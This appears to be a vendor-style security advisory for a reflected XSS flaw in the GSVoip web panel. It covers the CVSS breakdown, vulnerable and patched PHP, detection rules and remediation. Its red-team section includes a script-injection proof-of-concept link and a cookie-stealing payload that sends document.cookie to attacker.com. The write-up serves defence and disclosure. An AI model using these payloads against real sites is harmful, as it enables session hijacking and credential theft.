CVE-2025-69606

Executive Summary

CVE-2025-69606 is a reflected Cross-Site Scripting (XSS) vulnerability in the GSVoip web panel version 2.0.90. The flaw exists in the /painel/gateways.php/error endpoint, where the msg parameter fails to sanitize user-supplied input. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, phishing, or defacement. The vulnerability is unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for exposed instances.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone web application vulnerability in the GSVoip panel.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click the crafted link)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction, but the impact can be severe if an attacker targets an administrator or privileged user.

Deep Dive & Mechanics

The vulnerability resides in the /painel/gateways.php/error endpoint. The msg parameter is reflected directly into the HTML response without proper encoding or sanitization. For example, a request like:

GET /painel/gateways.php/error?msg=<script>alert('XSS')</script>

Will cause the server to return an HTML page containing the injected script. The lack of Content-Type headers or XSS protections (e.g., CSP) makes exploitation straightforward.

Root Cause: The application uses user input directly in the response without escaping HTML entities. This is a classic reflected XSS flaw.

Vulnerable vs. Patched Code

Vulnerable Code (GSVoip 2.0.90):

// In /painel/gateways.php/error
$msg = $_GET['msg'];
echo "<div class='error'>$msg</div>";

Patched Code (Hypothetical):

// In /painel/gateways.php/error
$msg = htmlspecialchars($_GET['msg'], ENT_QUOTES, 'UTF-8');
echo "<div class='error'>$msg</div>";

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

<!-- Save as poc.html -->
<a href="http://target.com/painel/gateways.php/error?msg=<script>alert('XSS')</script>">Click me</a>

Advanced Payload (Session Hijacking):

// Steal cookies
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;

Usage: Host the PoC on a server and send the link to the victim. When clicked, the script executes in the context of the GSVoip panel.

Blue Team

Lab Setup:

1. Deploy a vulnerable GSVoip 2.0.90 instance in an isolated environment.
2. Use a web application firewall (WAF) to test detection.
3. Monitor logs for suspicious msg parameter values.

Detection Steps:

• Check web server logs for requests containing <script> or onerror in the msg parameter.
• Use browser developer tools to inspect network traffic for reflected XSS patterns.

Indicators of Compromise (IOCs)

• URL Pattern: /painel/gateways.php/error?msg=*
• Log Entry: GET /painel/gateways.php/error?msg=<script>...
• Network Traffic: Outbound requests to attacker-controlled domains from the victim's browser.
• Cookie Theft: Unexpected cookie values or session tokens in external requests.

Detection Engineering

YARA Rule

rule CVE_2025_69606_GSVoip_XSS {
    meta:
        description = "Detects reflected XSS attempts against GSVoip panel"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69606"
    strings:
        $xss_pattern = /\/painel\/gateways\.php\/error\?msg=.*(<script|onerror|onload|alert|prompt)/
    condition:
        $xss_pattern
}

Sigma Rule

title: GSVoip Reflected XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-69606
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/painel/gateways.php/error?msg='
        cs-uri-query|re: '(<script|onerror|onload|alert|prompt)'
    condition: selection
falsepositives:
    - Legitimate use of 'msg' parameter with safe content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69606 GSVoip Reflected XSS Attempt"; flow:to_server; content:"/painel/gateways.php/error"; http_uri; content:"msg="; http_uri; pcre:"/(<script|onerror|onload|alert|prompt)/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the msg parameter using htmlspecialchars() or equivalent.
2. Content Security Policy: Implement a strict CSP header to block inline scripts.
3. Web Application Firewall: Deploy WAF rules to block XSS payloads in the msg parameter.
4. User Awareness: Train users not to click suspicious links.

Long-Term Fix:

• Upgrade to a patched version when available.
• Conduct a full security audit of the GSVoip panel.

Workaround:

• If patching is not possible, disable the /painel/gateways.php/error endpoint or restrict access via .htaccess.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: CD515475366F1FFDA78C4723] */}